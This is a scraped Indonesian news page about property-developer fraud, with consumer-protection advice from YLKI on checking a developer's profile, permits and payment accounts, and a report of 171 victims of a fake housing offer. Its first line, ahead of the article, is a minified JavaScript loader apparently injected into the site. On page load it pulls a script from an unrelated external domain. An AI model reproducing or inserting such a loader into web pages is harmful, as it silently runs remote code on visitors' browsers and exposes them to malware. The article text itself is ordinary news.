(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sejumlah kasus dugaan penipuan yang dilakukan oleh pengembang properti terhadap konsumen, terjadi beberapa kali di Indonesia. Menanggapi hal itu, staf Divisi Pengaduan dan Hukum Yayasan Lembaga Konsumen Indonesia (YLKI) Sularsi mengatakan, masyarakat konsumen wajib memperhatikan beberapa hal agar tidak menjadi korban penipuan pelaku yang berkedok pengembang. Pertama, yaitu mengetahui profil pengembang. Perlu dicari informasi mengenai siapa saja yang termasuk dalam manajemen dan karyawan pengembang itu. Hal berikutnya mengenai legalitas dari pengembang. Maksudnya, dokumen apa saja yang dimiliki sebagai bukti bahwa usaha yang dijalankan adalah resmi. “Misalnya sertifikat, izin mendirikan bangunan (IMB) dan pembangunan proyek, serta melihat isi dari Perjanjian Pengikatan Jual Beli (PPJB),†ujar Sularsi seperti diberitakan Kompas.com, Senin (17/12/2018).
Selain itu, konsumen harus memastikan pembayaran yang dilakukan langsung ke nomor rekening atas nama pengembang, bukan rekening pribadi, apalagi rekening tenaga pemasarannya. Dia menambahkan, dalam perkara hukum, suatu kasus penipuan terhadap konsumen seharusnya masuk ranah pidana. Namun, konsumen memiliki hak untuk melakukan gugatan secara perdata. “Meskipun melakukan pidana, pelaku usaha berkewajiban memenuhi tanggung jawab keperdataannya. Tanggung jawab itu berupa memberikan unit huniannya,†imbuh Sularsi. Diberitakan Kompas.com, Kamis (13/12/2018), sebanyak 171 orang menjadi korban penipuan berkedok uang muka rumah murah di Tangerang Selatan. Pelaku bernama John Sumanti yang mengaku sebagai Dirut PT Citra Cakrawala Kinasa menawarkan rumah seharga Rp 130 juta sampai Rp 160 juta kepada calon konsumen. Dua perumahan yang ditawarkan berlokasi di Desa Curug dan Desa Cidokom, Kabupaten Bogor, Jawa Barat. Ternyata perumahan itu bukan milik John, melainkan milik pengembang properti lain yang tidak ada hubungan dengannya. Setelah sempat kabur, pelaku ditangkap petugas kepolisian dan saat ini kasusnya diproses hukum. (kmps)
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.